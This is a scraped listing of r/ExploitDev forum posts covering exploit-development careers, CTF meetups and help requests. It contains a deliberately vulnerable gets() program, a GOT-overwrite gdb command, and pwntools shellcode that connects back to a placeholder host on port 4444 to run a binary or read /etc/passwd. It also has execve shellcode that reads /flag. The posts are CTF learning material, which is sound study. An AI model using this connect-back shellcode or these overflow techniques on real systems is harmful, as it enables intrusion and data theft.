r/ExploitDev • u/va_start • Oct 23 '19
r/ExploitDev • u/exploitdevishard • Sep 12 '19
Heap Overflows and the iOS Kernel Heap
r/ExploitDev • u/exploitdevishard • Sep 01 '19
Weekly wargame
EDIT: First meeting is now scheduled. The announcement can be found here: https://old.reddit.com/r/ExploitDev/comments/d09jiv/wargame_meetup_0_september_14_2019/
I wanted to see if there's any interest in forming a weekly online meetup to work on some wargame challenges. It could be a nice opportunity to collaborate on some challenges and share some knowledge. If it takes off, it could help grow the community on r/exploitdev, too.
Currently, I was imagining that we'd start off with a platform like https://pwnable.xyz/, with problems that are pretty beginner-friendly but scale up in difficulty. The challenges there also cover a wide variety of topics. Those of us who are interested could all collaborate on a challenge or two over maybe a 3-hour period, give or take -- long enough to realistically make headway on a challenge, but shorter than the time commitment for the average CTF.
If there's enough interest, of course we could branch out to other platforms like pwnable.tw for some more advanced problems, or we could meet twice a week with different difficulty challenges for different meetings, or whatever. Mostly I'm just interested in the idea of an exploit dev club of sorts that meets regularly enough to keep people interested in improving.
If anyone's interested, please say so! I'd be very open to some additions or changes to the core idea; I haven't spent a lot of time thinking through the logistics, but I'd be happy to figure them out if other people are interested in doing this.
r/ExploitDev • u/M0H1_T3L • Oct 21 '26
Confused About Starting a Career in Exploit Development
Hello everyone,
I'm a Pwn CTF player with a strong passion for binary exploitation, low-level programming, and understanding how things work under the hood...... But these days I think I face problems in thi carrer starting from what to learn to how to do it to is it even right to learn with AI, so I need aome advices in this field and what should I focuses on as someone whose goal is to a skilled exploit developer and ofc for real world so should continue with ctf like pwn.college(I am very close to finish yellow belt) and should i master reverse engineering with details and low level programming and memory management to reach my goals and the most important thing is it worth it as a carrer especially when AI can do everything....
r/ExploitDev • u/Individual_Salt_4405 • Oct 12 '26
What are the legal consequences of selling exploits to private buyers?
Hypothetically, suppose you discover several reasonably critical vulnerabilities in systems belonging to different organisations. You develop working exploits that can be used to gain unauthorised access to restricted systems or data.
Assume you've successfully tested the exploits and confirmed that they work, but you haven't stolen, modified or destroyed any data, and you haven't used the access for anything malicious.
Now imagine a random buyer offers you a substantial amount of money for one of these exploits.
Have you already committed a crime simply by exploiting the vulnerability to gain unauthorised access, even if you haven't done anything further?
Is possessing and selling a working exploit itself illegal, or does it depend on the circumstances?
Could you face prison time for selling it, even if you never personally use it for malicious purposes?
If the buyer subsequently uses the exploit to attack the organisation, could you be held criminally liable?
Would it make a legal difference if you genuinely didn't know what the buyer intended to do with it?
This is a hypothetical scenario.
r/ExploitDev • u/custampin101 • Jul 15 '26
Looking for Mentor
Hello everyone,
I wanted to post in here to see if anyone would consider being a mentor. I want to break into malware dev and vulnerability research however since this is such a niche job community, it’s hard to find someone who has professional experience in the field. I would love to talk with anyone who has prior experience in the field and wouldn’t mind giving me some guidance. Thank you guys!
r/ExploitDev • u/Hopeful-Ad6787 • Jul 02 '26
PhD student looking for guidance on binary exploitation research
Dear all,
I am a PhD student with a solid background in Linux binary exploitation, including both user-mode and kernel mode. My research interest lies in binary exploitation, and I am trying hard to increase my knowledge in this area.
My goal is to write peer-reviewed research papers on binary exploitation. But right now, I am not sure about how to find interesting areas of research, how to find research gaps, and what methodology I can follow for research in binary exploitation.
Any suggestions on how do experienced researchers come up with new research questions, perform literature review, and choose research directions on vulnerability research and binary exploitation will be much appreciated!
Thanks!
r/ExploitDev • u/Der-Wilde • Jun 20 '26
How important is to know in depth circuits/eletronics to learn advanced topics in exploit dev?
I mean, this is probably an bad question as it's obvious that if you're doing RE on some IoT device, specially some FPGA os smth, you need to know how they work in depth. Ok, but what if you are exploiting comercial software or even "low-not-too-low" level stuff like kernel or hypervisor? An really depth knowledge, like microcode and what circuits are turned on on every instruction, are necessary/mandatory or not?
r/ExploitDev • u/coffee-loop • Mar 27 '26
AV & EDR reversing and exploit resources
hello,
I’ve become very interested in AV & EDR research, and wanted to see if anyone here knew of any good papers / blogs / talks that could help me get up to speed on how they work, and performing vulnerability research on these products.
i appreciate any help!
r/ExploitDev • u/RE_Obsessed • Mar 10 '26
Binary harness recommendations?
Note: Specifically talking about Windows PE's x86/x86_64.
Currently my work flow is pretty manual and time consuming.
Identify interesting function/object/subsystem.
Reverse enough to get an idea of what's happening.
Hook a function, using Frida, that may be vulnerable or could be staging for one. Like a function that dynamically loads a DLL with multiple search directories.
Manipulate input, record stack trace and use Stalker to observe how inputs potentially change control flow and return values.
I love Frida, but I'm sure there's frameworks or tools that are better for this precise use case. Been reluctant to branch out because of comfort and repetition.
Particularly looking for function level harnesses as opposed to simulating user input.
Thanks for any suggestions you may have.
r/ExploitDev • u/FormalUsed951 • Jan 31 '26
How do attackers bypass "cam is on" indicators (LEDs or popups)
Like when an attack happens (for example) and the attackers decide for some reason that they want to open the cam (either on a laptop, iOS wtv) and they dont want the user to suspect anything so they try to hide the LED or small popup on screen when the cam is open. How does that work? is it something controlled by the kernel? the video driver(uvcvideo for example) or is it below all of these (Firmware/EC)

like this thing.
r/ExploitDev • u/World-war-dwi • Jan 20 '26
What is your strategy when reversing ?
Hello, i'm currently working on a stripped rtos firmware, pretty far from the ctf exercices i'm used to. I started by pin pointing a few constants with the help of the datasheet. But now, i don't know how to proceed : the code is rather huge and intricate, i could start with a function and see where it leads me but time is an issue here. so, what's your strategy, to quickly find something interesting since there's no precise goal here but to find a flaw?
thanks
r/ExploitDev • u/Hendrix_Lamar • Nov 08 '25
How to overwite the GOT table from a stack buffer overflow?
I'm working on an assignment where I need to overwrite the GOT table with the system call in order to execute a payload. The initial access is done via a stack buffer overflow. Here is the code of the program I am trying to exploit
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[32];
gets(buffer);
printf("Your data is %d bytes.\n", strlen(buffer));
puts(buffer);
return 0;
}As you can see, gets is the vulnerable function I am taking advantage of. I understand in theory how the GOT table overwrite works, and I've gotten it to work in gdb by manually overwriting the address of printf on the GOT table with the address of the system call like so:
set *0x804b210=0xf7dbb220However, I need to figure out how to turn the initial buffer overflow into an overwrite of the GOT table through my payload, since in practice I wouldn't be running the program in gdb. I've read a bunch of tutorials, but they all either only talk about how to do it on a theoretical level without any concrete examples, or involve ASLR and leaking addresses which is way beyond what I'm doing. For my example ASLR is turned off so I shouldn't need to leak any addresses. Can anyone explain exactly how the buffer overflow turns into an overwrite of the GOT table? I'm solid on the concepts of stack overflows, and on the GOT overwrite, but I don't understand how I can connect the two to cause a GOT overwrite from the original stack overflow. Thanks
r/ExploitDev • u/Lmao_vogreward_shard • Oct 04 '25
ASLR does not randomize distance between loaded modules?
So I'm writing an exploit that combines a stack-based buffer overflow with a heap info leak to get reliable RCE.
The info leak contains addresses to every loaded shared library except libc. Because I thought ASLR randomizes a new base address for every module, I thought there was no clean, deterministic way to extract libc base address from these leaked addresses from other modules.
Now experimentally I find out that there exists a fixed offset delta such that:leaked_address_from_other_so + delta = libc_base every time? This means ASLR randomizes the base address once but shares this among every loaded library?
Chatgpt tells me both yes and no, and it's difficult to find information on such an ASLR edge case on the internet...
Edit: It's userland ASLR on a normal ELF binary
ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, not stripped
debian linux 6.11.0-29, 64-bit (dockerized)
GNU lib C & ldd 2.19-18+deb8u10
/proc/sys/kernel/randomize_va_space -> 2 (enabled)
CFLAGS=" -fPIE -O0 -g -fno-stack-protector -fno-omit-frame-pointer"
CXXFLAGS="-fPIE -O0 -g -fno-stack-protector -fno-omit-frame-pointer"
LDFLAGS="-g -pie"Edit 2: found a stackexchange post that confirms my suspicion.
r/ExploitDev • u/effery_jepstein • Nov 04 '24
Getting started with linux-based jailbreaking from an intermediate/advanced programming/hacking skill level?
I know C/X86_64 asm, and have a good grasp on stuff like double free/use after free, BOF (and ROP), race conditions, and a fairly good understanding of basic sandboxing like chroot and seccomp, and i'm also about halfway through the blue belt modules on pwn.college. I've tried poking around with the jailbreak exploit I used on my school chromeos laptop (sh1mmer/e-halcyon) but everything being done seemed completely arcane and I got pretty lost almost immediately. What are some good hands-on resources, CTF challenges/writeups, etc. to get started for my skill level?
Edit: I should have clarified that i'm (mostly) talking about chromeos
r/ExploitDev • u/[deleted] • Oct 05 '24
Crafting Shellcode - Can Read Files but Can't Run Commands
I'm working on a CTF in which I've managed to successfully exploit a buffer overflow in the vulnerable application, and now I need to pass it shellcode to run the /secret_code binary to obtain the flag. I'm using the following lines from pwntools/shellcraft to generate the shellcode:
z = shellcraft.amd64.linux.connect('public_ip', 4444)z += shellcraft.amd64.linux.dupio('rbp')z += shellcraft.amd64.linux.fork()z += shellcraft.amd64.linux.execve('/secret_code', ['/secret_code'], 0)z += shellcraft.amd64.linux.exit(5)
Once the shellcode generated from the above lines is passed to the vulnerable application, I'm connecting back to my listener, duplicating stdin, stdout, and stderr to the socket, forking into a child process, executing the command to run the flag, then exiting. When I run the shellcode generated by this on my local vm against a dummy /secret_code application I created for proof of concept, it works perfectly and sends the output from the /secret_code binary to my listener. When I run this against the CTF server, I get the connection back to my listener, but no output from the binary. Originally I was using the above code without the fork, and further research into execve said that it creates a new process with new file descriptors in which to run the command, and the output from it might not be getting sent to the file descriptors I was duplicating with dupio. I wasn't sure I believed that since I wasn't experiencing the same issue on my local VM, but I thought I'd try it anyways (there is a delay when communicating with the CTF server, so maybe locally it's fast enough to send the result over the socket before the connection dies but not on the CTF server). Including the fork results in the output from the /secret_code binary being sent to my listener twice when used on my local VM, but I get the same behavior when used against the CTF server (connection back to my listener, but no output from the command). I've tried running different commands such as "whoami" and "hostname" and it always results in the same behavior, connection to listener but no output (both of which work on my local VM though). But if I replace the fork and execve lines with cat, like in the snippet below:
sc = shellcraft.amd64.linux.connect('public_ip', 4444)sc += shellcraft.amd64.linux.dupio('rbp')sc += shellcraft.amd64.linux.cat('/etc/passwd', 1)sc += shellcraft.amd64.linux.exit(5)
I successfully get the contents of the passwd file sent back to my listener from both my local VM and the CTF server. I've used cat to read the os-release file and setup a VM using the same Linux distro, and all of my commands run perfectly against it - I can run commands on it and the output gets sent back to my listener. It's only against the CTF server that I get the behavior of the machine connecting back to my listener, then not returning the output of any commands that I send it using execve. Since I'm able to successfully get the results of the shellcraft.cat command, I believe the issue lies in the use of execve. One of the things I was reading about it was saying that since it overwrites the current process with a new process to run the command passed to it, as soon as it completes the command and exits it'll exit the original process as well. The kind of lines up with what I'm seeing on the CTF server - if I try to use execve then cat a file, I get the connection back to my listener, but no output from either execve or cat; but if I use cat then execve, I get the connection to my listener, the output from the file, and then no output from execve. But that still wouldn't explain why I'm getting the result from execve when run against my local VM and the copy VM, but no result when run against the CTF server.
Just to cover all of my bases, I have tried generating shellcode with msfvenom as well, using exec, shell/reverse_tcp, and shell_reverse_tcp. I get no connection at all when I use exec to generate reverse shellcode with netcat, /bin/bash, python, perl, etc, nor do I get a connection at all when I generate shellcode for shell_reverse_tcp. However, when I generate shellcode using shell/reverse_tcp (staged payload) I get the initial connection back to my handler for the rest of the payload, but then the connection dies in the exact same way (as far as I can tell) as when I use execve.
To sum up, I have no idea why I'm seeing this behavior. If there's anyone that can explain to me if this is a quirk with execve or I'm using it incorrectly, or just that I don't understand anything about what I'm doing, I'll appreciate anything that helps me better understand what's going on and what I can do to get over this final bump to completing this challenge.
r/ExploitDev • u/[deleted] • Apr 22 '24
Malware Researcher/analyst career path and salary?
Hey everyone, I've become really interested in Malware Research. I've already dabbled in some reverse engineering and crack mes, and I'm currently delving into Practical Malware Analysis. So, my question is, what is the salary like for someone working in this field? And perhaps, what could the earning potential be if I were to excel as a freelancer in this area or even establish a consulting firm specializing in Malware Analysis? Is there a demand for it, and would it be worthwhile to start such a business? Also, what does the career path look like? I'm currently in high school (16 years old).
r/ExploitDev • u/AttitudeAdjuster • Feb 21 '24
Pwn Adventures
Just wanted to canvas opinions, if I were to host a Pwn Adventure server (https://www.pwnadventure.com/) for a few months, would you fine folks be interested in playing with it? It came up in conversation on another subreddit and I'm tempted to spend a few evenings playing around with it myself.
For those of you who haven't heard of this, its a deliberately vulnerable MMO game which has a client which can be hacked that was made as part of a CTF for a con a few years back. It's not going to teach you much about memory corruption, but it should teach a few interesting techniques about network protocols and compromising local clients.
Obviously attacking the server itself is out of scope, and I'll isolate it from anything interesting, but the game world itself would absolutely be in play. Who's interested?
r/ExploitDev • u/[deleted] • Nov 20 '23
I'm writing shellcode and I'm confused as to what's wrong,
I'm executing execve which takes the following parameters
execve(args[0], args, envp)where args[0] is the executable, args is the address of the array for command line arguments, and envp is the address of the array for environment variables.
As an array is just contiguous values with args[0] at the lowest address (i.e., args[1] is at a higer address, args[2] is at even higher addres, and so on), I emulated that mapping the string array to [rsp], which is the top of the stack and hence the lowest address. And then mapped the second const char * to rsp + 8.
This is how, and it doesn't work
.global _start
.intel_syntax noprefix
_start:
mov eax, 59
lea rax, [rip + binsh]
lea rbx, [rip + arg]
mov [rsp], rax
mov [rsp + 8], rbx
mov rdi, [rsp]
lea rsi, [rsp]
mov edx, 0
syscall
binsh: .string "/usr/bin/cat"
arg: .string "/flag"And doing some local testing, if I were to read the shellcode into a buffer on the stack, I see in gdb (relevant instructions only):
(gdb) # $rbp - 0x1a0 is the buffer on the stack where input is being fed to
(gdb) x/9xi $rbp - 0x1a0
0x7fffffffdfd0: mov eax,0x3b
0x7fffffffdfd5: lea rax,[rip+0x1f] # 0x7fffffffdffb
0x7fffffffdfdc: lea rbx,[rip+0x25] # 0x7fffffffe008
0x7fffffffdfe3: mov QWORD PTR [rsp],rax
0x7fffffffdfe7: mov QWORD PTR [rsp+0x8],rbx
0x7fffffffdfec: mov rdi,QWORD PTR [rsp]
0x7fffffffdff0: lea rsi,[rsp]
0x7fffffffdff4: mov edx,0x0
0x7fffffffdff9: syscall # Stop executing right before hereAnd then if I execute the instructions within this buffer
# Force gdb to execute these instructions by changing $rip
(gdb) set $rip = 0x7fffffffdfd0And then printing what's in $rdi and then the next contiguous value because this is an array
(gdb) p (const char*)$rdi
$11 = 0x7fffffffdffb "/usr/bin/cat"
(gdb) p (const char*) $rdi + 8
$12 = 0x7fffffffe003 "/cat"
(gdb) p (const char*) $rdi + 13
$15 = 0x7fffffffe008 "/flag"Because shouldn't the following
lea rax, [rip + binsh]
lea rbx, [rip + arg]
mov [rsp], rax
mov [rsp + 8], rbxproduce this memory layout (stack is not using estimated values):
0x7fffffffdfaf: $rax # rsp + 8
0x7fffffffdfa7: $rbx # rspWhat am I doing wrong so that
(gdb) p (const char*[]) $rdi
$20 = {0x7fffffffdffb "/usr/bin/cat"}into
(gdb) p (const char*[]) $rdi
$20 = {0x7fffffffdffb "/usr/bin/cat", "/flag"}But it's clearly not as seen by the gdb output. What am I doing wrong?
r/ExploitDev • u/wolfcod • Aug 19 '23
Journey into Windows Kernel Exploitation: The Basics
r/ExploitDev • u/h0m3cr3w • Jun 07 '23
Google Chrome (CVE-2020-16040) Bug Analysis & Exploitation WriteUp
homecrew.devr/ExploitDev • u/According-Respond593 • Apr 14 '23
Worth creating a writeup of ctf having solved post competition?
I participated in the recent Hack-A-Sat-4 CTF and while I got no points during the time of the competition, I was able to solve two of the pwnage challenges post-event. One of the two I was able to confirm while the servers were still up the week following. I'm just debating if it would be a waste of time to create a writeup of sorts, or just let the winners handle all that.
r/ExploitDev • u/soupcreamychicken • Dec 04 '22
Black Hat 2022 USA/ASIA/Europe
The videos of the BLACK HAT 2022 conference have been published on YouTube.
USA
https://www.youtube.com/playlist?list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq
ASIA :
https://www.youtube.com/playlist?list=PLH15HpR5qRsW2vrD-6pHklASq8T_CPZBv
EUROPE :
https://www.youtube.com/playlist?list=PLH15HpR5qRsVY4gZPQrkdVBeR_BwNujGe